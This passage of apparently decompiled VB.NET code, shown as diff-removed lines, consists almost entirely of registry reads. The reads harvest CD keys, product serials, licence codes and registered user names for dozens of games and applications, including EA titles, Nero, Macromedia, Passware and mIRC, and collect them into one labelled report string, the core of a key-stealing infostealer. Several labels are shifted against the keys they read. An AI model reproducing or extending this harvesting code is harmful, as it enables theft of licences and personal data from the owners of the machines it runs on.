-label_249: - num3 = 250; - str1 += str65; -label_250: - ProjectData.ClearProjectError(); - num1 = 1; -label_251: - num3 = 252; - str1 += "\r\nThe Sims 2 Seasons :"; -label_252: - num3 = 253; - string str66 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Seasons", "ergc", (object) null)); -label_253: - num3 = 254; - str1 += str66; -label_254: - ProjectData.ClearProjectError(); - num1 = 1; -label_255: - num3 = 256; - str1 += "\r\nThe Sims 2 Glamour Life Stuff :"; -label_256: - num3 = 257; - string str67 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Glamour Life Stuff", "ergc", (object) null)); -label_257: - num3 = 258; - str1 += str67; -label_258: - ProjectData.ClearProjectError(); - num1 = 1; -label_259: - num3 = 260; - str1 += "\r\nThe Sims 2 Celebration Stuff :"; -label_260: - num3 = 261; - string str68 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Celebration Stuff", "ergc", (object) null)); -label_261: - num3 = 262; - str1 += str68; -label_262: - ProjectData.ClearProjectError(); - num1 = 1; -label_263: - num3 = 264; - str1 += "\r\nThe Sims 2 H M Fashion Stuff :"; -label_264: - num3 = 265; - string str69 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 H M Fashion Stuff", "ergc", (object) null)); -label_265: - num3 = 266; - str1 += str69; -label_266: - ProjectData.ClearProjectError(); - num1 = 1; -label_267: - num3 = 268; - str1 += "\r\nThe Sims 2 Family Fun Stuff :"; -label_268: - num3 = 269; - string str70 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Family Fun Stuff", "ergc", (object) null)); -label_269: - num3 = 270; - str1 += str70; -label_270: - ProjectData.ClearProjectError(); - num1 = 1; -label_271: - num3 = 272; - str1 += "\r\nDVD Audio Extractor (Name) :"; -label_272: - num3 = 273; - string str71 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\DVD Audio Extractor\\Settings", "Reg Name", (object) null)); -label_273: - num3 = 274; - str1 += str71; -label_274: - ProjectData.ClearProjectError(); - num1 = 1; -label_275: - num3 = 276; - str1 += "\r\nDVD Audio Extractor (Serial) :"; -label_276: - num3 = 277; - string str72 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\DVD Audio Extractor\\Settings", "Reg Number", (object) null)); -label_277: - num3 = 278; - str1 += str72; -label_278: - ProjectData.ClearProjectError(); - num1 = 1; -label_279: - num3 = 280; - str1 += "\r\nEmpire Earth II :"; -label_280: - num3 = 281; - string str73 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Sierra\\Empire Earth II", "CDKey", (object) null)); -label_281: - num3 = 282; - str1 += str73; -label_282: - ProjectData.ClearProjectError(); - num1 = 1; -label_283: - num3 = 284; - str1 += "\r\nF.E.A.R :"; -label_284: - num3 = 285; - string str74 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Sierra\\CDKey", "fear", (object) null)); -label_285: - num3 = 286; - str1 += str74; -label_286: - ProjectData.ClearProjectError(); - num1 = 1; -label_287: - num3 = 288; - str1 += "\r\nF-Secure :"; -label_288: - num3 = 289; - string str75 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\BackWeb\\iLauncher", "UID", (object) null)); -label_289: - num3 = 290; - str1 += str75; -label_290: - ProjectData.ClearProjectError(); - num1 = 1; -label_291: - num3 = 292; - str1 += "\r\nFARCRY :"; -label_292: - num3 = 293; - string str76 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\CRYTEK\\FARCRY\\UBI.COM", "CDKey", (object) null)); -label_293: - num3 = 294; - str1 += str76; -label_294: - ProjectData.ClearProjectError(); - num1 = 1; -label_295: - num3 = 296; - str1 += "\r\nFARCRY 2 : "; -label_296: - num3 = 297; - string str77 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\CRYTEK\\FARCRY2\\UBI.COM", "CDKey", (object) null)); -label_297: - num3 = 298; - str1 += str77; -label_298: - ProjectData.ClearProjectError(); - num1 = 1; -label_299: - num3 = 300; - str1 += "\r\nFIFA 2002 :"; -label_300: - num3 = 301; - string str78 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2002", "ergc", (object) null)); -label_301: - num3 = 302; - str1 += str78; -label_302: - ProjectData.ClearProjectError(); - num1 = 1; -label_303: - num3 = 304; - str1 += "\r\nFIFA 2003 :"; -label_304: - num3 = 305; - string str79 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2003", "ergc", (object) null)); -label_305: - num3 = 306; - str1 += str79; -label_306: - ProjectData.ClearProjectError(); - num1 = 1; -label_307: - num3 = 308; - str1 += "\r\nFIFA 2004 :"; -label_308: - num3 = 309; - string str80 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2004", "ergc", (object) null)); -label_309: - num3 = 310; - str1 += str80; -label_310: - ProjectData.ClearProjectError(); - num1 = 1; -label_311: - num3 = 312; - str1 += "\r\nFIFA 2005 :"; -label_312: - num3 = 313; - string str81 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2005", "ergc", (object) null)); -label_313: - num3 = 314; - str1 += str81; -label_314: - ProjectData.ClearProjectError(); - num1 = 1; -label_315: - num3 = 316; - str1 += "\r\nFIFA 07 :"; -label_316: - num3 = 317; - string str82 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 07", "ergc", (object) null)); -label_317: - num3 = 318; - str1 += str82; -label_318: - ProjectData.ClearProjectError(); - num1 = 1; -label_319: - num3 = 320; - str1 += "\r\nFIFA 08 :"; -label_320: - num3 = 321; - string str83 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\FIFA 08", "ergc", (object) null)); -label_321: - num3 = 322; - str1 += str83; -label_322: - ProjectData.ClearProjectError(); - num1 = 1; -label_323: - num3 = 324; - str1 += "\r\nFreedom Force :"; -label_324: - num3 = 325; - string str84 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Distribution\\Freedom Force", "ergc", (object) null)); -label_325: - num3 = 326; - str1 += str84; -label_326: - ProjectData.ClearProjectError(); - num1 = 1; -label_327: - num3 = 328; - str1 += "\r\nFrontlines: Fuel of War Beta :"; -label_328: - num3 = 329; - string str85 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Frontlines: Fuel of War Beta", "ProductKey", (object) null)); -label_329: - num3 = 330; - str1 += str85; -label_330: - ProjectData.ClearProjectError(); - num1 = 1; -label_331: - num3 = 332; - str1 += "\r\nFrontlines: Fuel of War :"; -label_332: - num3 = 333; - string str86 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Frontlines: Fuel of War", "ProductKey", (object) null)); -label_333: - num3 = 334; - str1 += str86; -label_334: - ProjectData.ClearProjectError(); - num1 = 1; -label_335: - num3 = 336; - str1 += "\r\nGetRight :"; -label_336: - num3 = 337; - string str87 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Headlight\\GetRight", "GRcode", (object) null)); -label_337: - num3 = 338; - str1 += str87; -label_338: - ProjectData.ClearProjectError(); - num1 = 1; -label_339: - num3 = 340; - str1 += "\r\nGlobal Operations :"; -label_340: - num3 = 341; - string str88 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Global Operations", "ergc", (object) null)); -label_341: - num3 = 342; - str1 += str88; -label_342: - ProjectData.ClearProjectError(); - num1 = 1; -label_343: - num3 = 344; - str1 += "\r\nGunman :"; -label_344: - num3 = 345; - string str89 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Gunman", "Settings", (object) null)); -label_345: - num3 = 346; - str1 += str89; -label_346: - ProjectData.ClearProjectError(); - num1 = 1; -label_347: - num3 = 348; - str1 += "\r\nHalf-Life :"; -label_348: - num3 = 349; - string str90 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Half-Life\\Setting", "Key", (object) null)); -label_349: - num3 = 350; - str1 += str90; -label_350: - ProjectData.ClearProjectError(); - num1 = 1; -label_351: - num3 = 352; - str1 += "\r\nHellgate: London :"; -label_352: - num3 = 353; - string str91 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Hellgate: London", "ergc", (object) null)); -label_353: - num3 = 354; - str1 += str91; -label_354: - ProjectData.ClearProjectError(); - num1 = 1; -label_355: - num3 = 356; - str1 += "\r\nHidden & Dangerous 2 :"; -label_356: - num3 = 357; - string str92 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Illusion Softworks\\Hidden & Dangerous 2", "key", (object) null)); -label_357: - num3 = 358; - str1 += str92; -label_358: - ProjectData.ClearProjectError(); - num1 = 1; -label_359: - num3 = 360; - str1 += "\r\nIGI 2 Retail :"; -label_360: - num3 = 361; - string str93 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\IGI 2 Retail\\CDKey", "CDkey", (object) null)); -label_361: - num3 = 362; - str1 += str93; -label_362: - ProjectData.ClearProjectError(); - num1 = 1; -label_363: - num3 = 364; - str1 += "\r\nInCD Serial :"; -label_364: - num3 = 365; - string str94 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Ahead\\InCD", "License", (object) null)); -label_365: - num3 = 366; - str1 += str94; -label_366: - ProjectData.ClearProjectError(); - num1 = 1; -label_367: - num3 = 368; - str1 += "\r\nInCD Username :"; -label_368: - num3 = 369; - string str95 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Ahead\\InCD", "UserName", (object) null)); -label_369: - num3 = 370; - str1 += str95; -label_370: - ProjectData.ClearProjectError(); - num1 = 1; -label_371: - num3 = 372; - str1 += "\r\nIG2 :"; -label_372: - num3 = 373; - string str96 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\JoWooD\\InstalledGames\\IG2", "prvkey", (object) null)); -label_373: - num3 = 374; - str1 += str96; -label_374: - ProjectData.ClearProjectError(); - num1 = 1; -label_375: - num3 = 376; - str1 += "\r\niPod Converter (Registration Code) :"; -label_376: - num3 = 377; - string str97 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\AVConverter\\iPod Converter", "Registration Code", (object) null)); -label_377: - num3 = 378; - str1 += str97; -label_378: - ProjectData.ClearProjectError(); - num1 = 1; -label_379: - num3 = 380; - str1 += "\r\niPod Converter (User Name) :"; -label_380: - num3 = 381; - string str98 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\AVConverter\\iPod Converter", "User Name", (object) null)); -label_381: - num3 = 382; - str1 += str98; -label_382: - ProjectData.ClearProjectError(); - num1 = 1; -label_383: - num3 = 384; - str1 += "\r\nJames Bond 007 Nightfire :"; -label_384: - num3 = 385; - string str99 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\James Bond 007 Nightfire", "ergc", (object) null)); -label_385: - num3 = 386; - str1 += str99; -label_386: - ProjectData.ClearProjectError(); - num1 = 1; -label_387: - num3 = 388; - str1 += "\r\nStatus Legends of Might and Magic :"; -label_388: - num3 = 389; - string str100 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\3d0\\Status Legends of Might and Magic", "CustomerNumber", (object) null)); -label_389: - num3 = 390; - str1 += str100; -label_390: - ProjectData.ClearProjectError(); - num1 = 1; -label_391: - num3 = 392; - str1 += "\r\nMacromedia Flash 7 :"; -label_392: - num3 = 393; - string str101 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Macromedia\\Flash\\7\\Registration", "Serial Number", (object) null)); -label_393: - num3 = 394; - str1 += str101; -label_394: - ProjectData.ClearProjectError(); - num1 = 1; -label_395: - num3 = 396; - str1 += "\r\nMacromedia Fireworks 7 :"; -label_396: - num3 = 397; - string str102 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Macromedia\\Fireworks\\7\\Registration", "Serial Number", (object) null)); -label_397: - num3 = 398; - str1 += str102; -label_398: - ProjectData.ClearProjectError(); - num1 = 1; -label_399: - num3 = 400; - str1 += "\r\nMacromedia Dreamweaver 7 :"; -label_400: - num3 = 401; - string str103 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Macromedia\\Dreamweaver\\7\\Registration", "Serial Number", (object) null)); -label_401: - num3 = 402; - str1 += str103; -label_402: - ProjectData.ClearProjectError(); - num1 = 1; -label_403: - num3 = 404; - str1 += "\r\nMadden NFL 07 :"; -label_404: - num3 = 405; - string str104 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\Madden NFL 07", "ergc", (object) null)); -label_405: - num3 = 406; - str1 += str104; -label_406: - ProjectData.ClearProjectError(); - num1 = 1; -label_407: - num3 = 408; - str1 += "\r\nMatrix Screensave :"; -label_408: - num3 = 409; - string str105 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\JSG\\Matrix Saver V2", "Registration", (object) null)); -label_409: - num3 = 410; - str1 += str105; -label_410: - ProjectData.ClearProjectError(); - num1 = 1; -label_411: - num3 = 412; - str1 += "\r\nMedal of Honor Airborne :"; -label_412: - num3 = 413; - string str106 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Medal of Honor Airborne", "Product GUID", (object) null)); -label_413: - num3 = 414; - str1 += str106; -label_414: - ProjectData.ClearProjectError(); - num1 = 1; -label_415: - num3 = 416; - str1 += "\r\nMedal of Honor: Airborne :"; -label_416: - num3 = 417; - string str107 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault", "ergc", (object) null)); -label_417: - num3 = 418; - str1 += str107; -label_418: - ProjectData.ClearProjectError(); - num1 = 1; -label_419: - num3 = 420; - str1 += "\r\nMedal of Honor: Allied Assault :"; -label_420: - num3 = 421; - string str108 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Breakthrough", "ergc", (object) null)); -label_421: - num3 = 422; - str1 += str108; -label_422: - ProjectData.ClearProjectError(); - num1 = 1; -label_423: - num3 = 424; - str1 += "\r\nMedal of Honor: Allied Assault: Breakthrough :"; -label_424: - num3 = 425; - string str109 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Spearhead", "ergc", (object) null)); -label_425: - num3 = 426; - str1 += str109; -label_426: - ProjectData.ClearProjectError(); - num1 = 1; -label_427: - num3 = 428; - str1 += "\r\nMedal of Honor: Allied Assault: Spearhead :"; -label_428: - num3 = 429; - string str110 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Medal of Honor: Heroes 2", "ergc", (object) null)); -label_429: - num3 = 430; - str1 += str110; -label_430: - ProjectData.ClearProjectError(); - num1 = 1; -label_431: - num3 = 432; - str1 += "\r\nMedal of Honor: Heroes 2 :"; -label_432: - num3 = 433; - string str111 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\mIRC", "UserName", (object) null)); -label_433: - num3 = 434; - str1 += str111; -label_434: - ProjectData.ClearProjectError(); - num1 = 1; -label_435: - num3 = 436; - str1 += "\r\nmIRC :"; -label_436: - num3 = 437; - string str112 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\mIRC", "License", (object) null)); -label_437: - num3 = 438; - str1 += str112; -label_438: - ProjectData.ClearProjectError(); - num1 = 1; -label_439: - num3 = 440; - str1 += "\r\nNascar Racing 2002 :"; -label_440: - num3 = 441; - string str113 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\Nascar Racing 2002", "ergc", (object) null)); -label_441: - num3 = 442; - str1 += str113; -label_442: - ProjectData.ClearProjectError(); - num1 = 1; -label_443: - num3 = 444; - str1 += "\r\nNascar Racing 2003 :"; -label_444: - num3 = 445; - string str114 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\Nascar Racing 2003", "ergc", (object) null)); -label_445: - num3 = 446; - str1 += str114; -label_446: - ProjectData.ClearProjectError(); - num1 = 1; -label_447: - num3 = 448; - str1 += "\r\nNHL 2002 :"; -label_448: - num3 = 449; - string str115 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2002", "ergc", (object) null)); -label_449: - num3 = 450; - str1 += str115; -label_450: - ProjectData.ClearProjectError(); - num1 = 1; -label_451: - num3 = 452; - str1 += "\r\nNBA LIVE 2003 :"; -label_452: - num3 = 453; - string str116 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NBA LIVE 2003", "ergc", (object) null)); -label_453: - num3 = 454; - str1 += str116; -label_454: - ProjectData.ClearProjectError(); - num1 = 1; -label_455: - num3 = 456; - str1 += "\r\nNBA LIVE 2004 :"; -label_456: - num3 = 457; - string str117 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NBA LIVE 2004", "ergc", (object) null)); -label_457: - num3 = 458; - str1 += str117; -label_458: - ProjectData.ClearProjectError(); - num1 = 1; -label_459: - num3 = 460; - str1 += "\r\nNBA LIVE 07 :"; -label_460: - num3 = 461; - string str118 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NBA LIVE 07", "ergc", (object) null)); -label_461: - num3 = 462; - str1 += str118; -label_462: - ProjectData.ClearProjectError(); - num1 = 1; -label_463: - num3 = 464; - str1 += "\r\nNBA Live 08 :"; -label_464: - num3 = 465; - string str119 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NBA Live 08", "ergc", (object) null)); -label_465: - num3 = 466; - str1 += str119; -label_466: - ProjectData.ClearProjectError(); - num1 = 1; -label_467: - num3 = 468; - str1 += "\r\nNero - Burning Rom :"; -label_468: - num3 = 469; - string str120 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Ahead\\Nero - Burning Rom\\Info", "Serial6", (object) null)); -label_469: - num3 = 470; - str1 += str120; -label_470: - ProjectData.ClearProjectError(); - num1 = 1; -label_471: - num3 = 472; - str1 += "\r\nNero 7 :"; -label_472: - num3 = 473; - string str121 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Nero\\Installation\\Families\\Nero 7\\Info", "Serial7_1191197813", (object) null)); -label_473: - num3 = 474; - str1 += str121; -label_474: - ProjectData.ClearProjectError(); - num1 = 1; -label_475: - num3 = 476; - str1 += "\r\nNero 8 :"; -label_476: - num3 = 477; - string str122 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Nero\\Installation\\Families\\Nero 8\\Info", "Serial8_1194709660", (object) null)); -label_477: - num3 = 478; - str1 += str122; -label_478: - ProjectData.ClearProjectError(); - num1 = 1; -label_479: - num3 = 480; - str1 += "\r\nNHL 2002 :"; -label_480: - num3 = 481; - string str123 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2002", "ergc", (object) null)); -label_481: - num3 = 482; - str1 += str123; -label_482: - ProjectData.ClearProjectError(); - num1 = 1; -label_483: - num3 = 484; - str1 += "\r\nNHL 2003 :"; -label_484: - num3 = 485; - string str124 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2003", "ergc", (object) null)); -label_485: - num3 = 486; - str1 += str124; -label_486: - ProjectData.ClearProjectError(); - num1 = 1; -label_487: - num3 = 488; - str1 += "\r\nNHL 2004 :"; -label_488: - num3 = 489; - string str125 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2004", "ergc", (object) null)); -label_489: - num3 = 490; - str1 += str125; -label_490: - ProjectData.ClearProjectError(); - num1 = 1; -label_491: - num3 = 492; - str1 += "\r\nNHL 2005 :"; -label_492: - num3 = 493; - string str126 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Sports\\NHL 2005", "ergc", (object) null)); -label_493: - num3 = 494; - str1 += str126; -label_494: - ProjectData.ClearProjectError(); - num1 = 1; -label_495: - num3 = 496; - str1 += "\r\nNOX :"; -label_496: - num3 = 497; - string str127 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Westwood\\Nox", "Serial", (object) null)); -label_497: - num3 = 498; - str1 += str127; -label_498: - ProjectData.ClearProjectError(); - num1 = 1; -label_499: - num3 = 500; - str1 += "\r\nNumega SmartCheck :"; -label_500: - num3 = 501; - string str128 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\NuMega\\SmartCheck", "Serial", (object) null)); -label_501: - num3 = 502; - str1 += str128; -label_502: - ProjectData.ClearProjectError(); - num1 = 1; -label_503: - num3 = 504; - str1 += "\r\nOnlineTVPlayer (Name) :"; -label_504: - num3 = 505; - string str129 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\OnlineTVPlayer\\RegInfo", "name", (object) null)); -label_505: - num3 = 506; - str1 += str129; -label_506: - ProjectData.ClearProjectError(); - num1 = 1; -label_507: - num3 = 508; - str1 += "\r\nOnlineTVPlayer (Serial) :"; -label_508: - num3 = 509; - string str130 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\OnlineTVPlayer\\RegInfo", "serial", (object) null)); -label_509: - num3 = 510; - str1 += str130; -label_510: - ProjectData.ClearProjectError(); - num1 = 1; -label_511: - num3 = 512; - str1 += "\r\nO&O Defrag 8.0 (Username) :"; -label_512: - num3 = 513; - string str131 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\O&O\\O&O Defrag\\8.0\\Pro\\licenses", "User", (object) null)); -label_513: - num3 = 514; - str1 += str131; -label_514: - ProjectData.ClearProjectError(); - num1 = 1; -label_515: - num3 = 516; - str1 += "\r\nO&O Defrag 8.0 (Company) :"; -label_516: - num3 = 517; - string str132 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\O&O\\O&O Defrag\\8.0\\Pro\\licenses", "Company", (object) null)); -label_517: - num3 = 518; - str1 += str132; -label_518: - ProjectData.ClearProjectError(); - num1 = 1; -label_519: - num3 = 520; - str1 += "\r\nO&O Defrag 8.0 (Serial) :"; -label_520: - num3 = 521; - string str133 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\O&O\\O&O Defrag\\8.0\\Pro\\licenses", "SerialNo", (object) null)); -label_521: - num3 = 522; - str1 += str133; -label_522: - ProjectData.ClearProjectError(); - num1 = 1; -label_523: - num3 = 524; - str1 += "\r\nPartition Magic 8.0 :"; -label_524: - num3 = 525; - string str134 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\PowerQuest\\PartitionMagic\\8.0\\UserInfo", "SerialNumber", (object) null)); -label_525: - num3 = 526; - str1 += str134; -label_526: - ProjectData.ClearProjectError(); - num1 = 1; -label_527: - num3 = 528; - str1 += "\r\nPassware Encryption Analyzer (Name) :"; -label_528: - num3 = 529; - string str135 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Encryption Analyzer\\1\\Registration,License", "Name", (object) null)); -label_529: - num3 = 530; - str1 += str135; -label_530: - ProjectData.ClearProjectError(); - num1 = 1; -label_531: - num3 = 532; - str1 += "\r\nPassware Encryption Analyzer (License) :"; -label_532: - num3 = 533; - string str136 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Encryption Analyzer\\1\\Registration,License", "SerialNumber", (object) null)); -label_533: - num3 = 534; - str1 += str136; -label_534: - ProjectData.ClearProjectError(); - num1 = 1; -label_535: - num3 = 536; - str1 += "\r\nPassware Encryption Analyzer (Serial) :"; -label_536: - num3 = 537; - string str137 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Encryption Analyzer\\1\\Registration,License", "Serial", (object) null)); -label_537: - num3 = 538; - str1 += str137; -label_538: - ProjectData.ClearProjectError(); - num1 = 1; -label_539: - num3 = 540; - str1 += "\r\nPassware Windows Key (License) :"; -label_540: - num3 = 541; - string str138 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Windows Key\\7\\Registration", "License", (object) null)); -label_541: - num3 = 542; - str1 += str138; -label_542: - ProjectData.ClearProjectError(); - num1 = 1; -label_543: - num3 = 544; - str1 += "\r\nPassware Windows Key (Name) :"; -label_544: - num3 = 545; - string str139 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Windows Key\\7\\Registration", "Name", (object) null)); -label_545: - num3 = 546; - str1 += str139; -label_546: - ProjectData.ClearProjectError(); - num1 = 1; -label_547: - num3 = 548; - str1 += "\r\nPassware Windows Key (Serial) :"; -label_548: - num3 = 549; - string str140 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Passware\\Windows Key\\7\\Registration", "Serial", (object) null)); -label_549: - num3 = 550; - str1 += str140; -label_550: - ProjectData.ClearProjectError(); - num1 = 1; -label_551: - num3 = 552; - str1 += "\r\nPowerDvD :"; -label_552: - num3 = 553; - string str141 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\CyberLink\\PowerDVD", "UI_RMK", (object) null)); -label_553: - num3 = 554; - str1 += str141; -label_554: - ProjectData.ClearProjectError(); - num1 = 1; -label_555: - num3 = 556; - str1 += "\r\nPowerStrip :"; -label_556: - num3 = 557; - string str142 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\EnTech\\PowerStrip", "Key", (object) null)); -label_557: - num3 = 558; - str1 += str142; -label_558: - ProjectData.ClearProjectError(); - num1 = 1; -label_559: - num3 = 560; - str1 += "\r\nPro Evolution Soccer 2008 :"; -label_560: - num3 = 561; - string str143 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\KONAMI\\PES2008", "code", (object) null)); -label_561: - num3 = 562; - str1 += str143; -label_562: - ProjectData.ClearProjectError(); - num1 = 1; -label_563: - num3 = 564; - str1 += "\r\nRainbow Six III RavenShield :"; -label_564: - num3 = 565; - string str144 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Red Storm Entertainment\\RAVENSHIELD", "CDKey", (object) null)); -label_565: - num3 = 566; - str1 += str144; -label_566: - ProjectData.ClearProjectError(); - num1 = 1; -label_567: - num3 = 568; - str1 += "\r\nShogun Total War Warlord Edition :"; -label_568: - num3 = 569; - string str145 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA GAMES\\Shogun Total War - Warlord Edition", "ergc", (object) null)); -label_569: - num3 = 570; - str1 += str145; -label_570: - ProjectData.ClearProjectError(); - num1 = 1; -label_571: - num3 = 572; - str1 += "\r\nSid(Meier) 's Pirates! :"; -label_572: - num3 = 573; - string str146 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Atari\\Sid Meier's Pirates!", "CDKey", (object) null)); -label_573: - num3 = 574; - str1 += str146; -label_574: - ProjectData.ClearProjectError(); - num1 = 1; -label_575: - num3 = 576; - str1 += "\r\nSid(Meier) 's Pirates! :"; -label_576: - num3 = 577; - string str147 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Ubisoft\\SILENT HUNTER III\\Keys", "DiscKey_SH3", (object) null)); -label_577: - num3 = 578; - str1 += str147; -label_578: - ProjectData.ClearProjectError(); - num1 = 1; -label_579: 